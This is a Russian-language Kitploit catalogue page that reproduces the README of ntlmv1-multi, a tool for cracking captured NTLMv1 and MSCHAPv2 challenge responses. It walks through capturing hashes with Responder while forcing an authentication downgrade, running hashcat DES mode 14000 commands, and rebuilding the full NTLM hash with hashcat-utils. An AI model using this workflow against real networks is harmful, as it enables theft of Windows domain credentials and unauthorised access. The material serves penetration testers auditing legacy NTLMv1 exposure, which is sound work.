Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ntlmv1-multi — NTLMv1 Multitool | Kitploit
Инструменты/GitHubGitHub/evilmog/ntlmv1-multi
Взлом паролейИнструменты шифрования/дешифрованияАтаки на ПаролиАнализ хэшейКриптографияАутентификация
GitHubevilmog/ntlmv1-multi

ntlmv1-multi

NTLMv1 Multitool

Репозиторий
67099233 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Мультиинструмент NTLMv1

Этот инструмент преобразует NTLMv1-хэши в NTLM, точнее, приводит ответы на challenge NTLMv1 к формату, который можно взломать с помощью hashcat в режиме 14000.

Вычисление CT3

Если указать --ct3, инструмент сам вычислит последние 4 символа NTLM-хэша; если указать --json, то --ct3 подразумевается автоматически, и результат будет возвращён как элемент pt3, например:

python3 ntlmv1.py --ntlm "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788" --json 

{"ntlmv1": "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788", "user": "DC1$", "domain": "MOG", "challenge": "1122334455667788", "lmresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ntresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ct3": "352661ECEF909C5E", "ct3_crack": "ct3_to_ntlm.bin 352661ECEF909C5E 1122334455667788", "pt3": "8c71", "hash1": "AC51EC464A91A35A:1122334455667788", "hash2": "04A862DA3106EC2B:1122334455667788"}

Наконец, в этом обновлении я перенёс функции в main(), чтобы модуль можно было просто импортировать для прямого использования.

Обновления от 10 ноября 2020 г.

Я добавил две новые опции: --hashcat и --hcutils. Они задают путь к вашим hashcat и hashcat-utils соответственно, чтобы можно было напрямую копировать и вставлять данные из инструмента.

Инструмент запускается так, если ваш каталог hashcat находится в ~/git/hashcat, а каталог hashcat-utils — в ~/git/hashcat-utils:

python3 ./ntlmv1.py --ntlm "SERVER1$::MOG:9DE7F41D81C1207400000000000000000000000000000000:DE766A98B60D1C911DCFFFDBB3E521314B2CE34EAB63CC7B:1122334455667788" --hashcat "~/git/hashcat" --hcutils "~/git/hashcat-utils"

Обновления от 10 декабря 2019 г.

Да, теперь это совместимо с Python 3. Также я объединил ntlmv1 и ntlmv1-ess.

ntlmv1-multi

Мультиинструмент NTLMv1

Этот инструмент модифицирует хэши NTLMv1/NTLMv1-ESS/MSCHAPv2, чтобы их можно было взломать в hashcat с помощью режима DES 14000.

Инструмент основан на работе atom из команды Hashcat: https://hashcat.net/forum/thread-5832.html

Он также основан на https://hashcat.net/forum/thread-5912.html и https://www.youtube.com/watch?v=LIHACAct2vo

Установка

Установите инструмент нового поколения ntlmv1_nextgen.py как глобальную команду ntlmv1-multi с помощью uv:

uv tool install .
ntlmv1-multi --ntlmv1 "hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788"

Или запустите его напрямую из репозитория без установки:

uv run ntlmv1_nextgen.py --ntlmv1 "hashcat::DUSTIN-5AA37877:..."

В проекте есть pyproject.toml (требуется Python 3.14+, зависимость pycryptodome), так что uv сам разрешит все зависимости; исходный ntlmv1.py по-прежнему работает автономно с любым интерпретатором Python 3.

Инструмент нового поколения (ntlmv1_nextgen.py)

ntlmv1_nextgen.py (устанавливаемый как команда ntlmv1-multi) — это современный парсер. Он принимает NTLMv1, $99$-блобы и MSCHAPv2, автоматически обрабатывает ESS и может завершить полное преобразование NTLMv1 -> NTLM из взломанного potfile за один шаг. Доступные опции:

ОпцияОписание
--ntlmv1 <hash>NTLMv1-хэш в формате Responder (user::host:LM:NT:challenge).
--99 <blob>base64-блоб в стиле $99$.
--mschapv2 <hash>Хэш MSCHAPv2 в формате John the Ripper.
--nthash <hex>32-символьный NTLM-хэш; вычисляет DES-ключи и кандидаты для hashcat.
--password <pw>Вычисляет DES-ключи --key1/--key2 из известного пароля.
--key1 <hex> / --key2 <hex>Задать 16-hex DES-ключи для CT1/CT2 напрямую (имеют приоритет над --potfile).
--potfile <path>Potfile от hashcat/rainbowcrackalack со взломанными ключами режима 14000; автоматически восстанавливает key1/key2 для завершения преобразования NTLMv1 -> NTLM.
--hashcatВыводит строки в формате hashcat для CT1/CT2.
--jsonВыводить только JSON (подразумевает вычисление CT3).

Использование

NTLMv1 без ESS

Для перехвата используйте Responder с флагом --lm; без --lm активируется ESS, и взлом займёт больше времени. Также появился новый флаг --disable-ess, который пытается отключить ESS и принудительно выполнить даунгрейд. Сначала попробуйте --disable-ess, а если не получится — --lm. При использовании --disable-ess или --lm убедитесь, что ваш клиентский challenge равен 1122334455667788, чтобы задействовать FPGA; однако это может вызвать срабатывание некоторых сетевых IDS/IPS, если они увидят такой трафик.

Захват будет выглядеть так:

[SMB] NTLMv1 Client   : 184.64.60.62
[SMB] NTLMv1 Username : DUSTIN-5AA37877\hashcat
[SMB] NTLMv1 Hash     : hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
[*] Skipping previously captured hash for DUSTIN-5AA37877\hashcat

Часть с хэшем выглядит так:

hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788

Итак, используйте мультиинструмент следующим образом (он также совместим с Python 2):

python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788

Он выведет следующие данные без изменения серверных challenge и т.д.:

['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']

Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595

To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

В данном случае используется пароль «password», и мы можем проверить NTLM-хэш с помощью:

echo -n password | iconv -f utf8 -t utf16le | openssl dgst -md4
(stdin)= 8846f7eaee8fb117ad06bdd830b7586c

С помощью утилиты ct3_to_ntlm.bin из hashcat-utils, написанной atom, можно вычислить последние 4 символа NTLM-хэша из NTLMv1 challenge, который выводит инструмент:

./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c

Это совпадает с концом NTLM-хэша, так что всё сходится. Следующий шаг — взлом хэшей с помощью hashcat, поэтому нужно создать файл hashes.txt с содержимым:

727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

Для взлома с помощью hashcat используйте:

./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

Важное замечание: hashcat возвращает DES-ключи, а не NTLM-ключи. Их нужно преобразовать в NTLM с помощью deskey_to_ntlm.pl из Hashcat Utils; это делается так:

./deskey_to_ntlm.pl [cracked des key 1]
./deskey_to_ntlm.pl [cracked des key 2]

Затем нужно объединить два NTLM-ключа с третьей частью пароля, вычисляемой по выводу инструмента:

./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

Сложите все три части вместе — и готово.

Проверка с помощью конвертера DES

Если вы просто тестируете мой код и уже знаете пароль, можно воспользоваться конвертером DES:

python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d

echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand
Скачать инструмент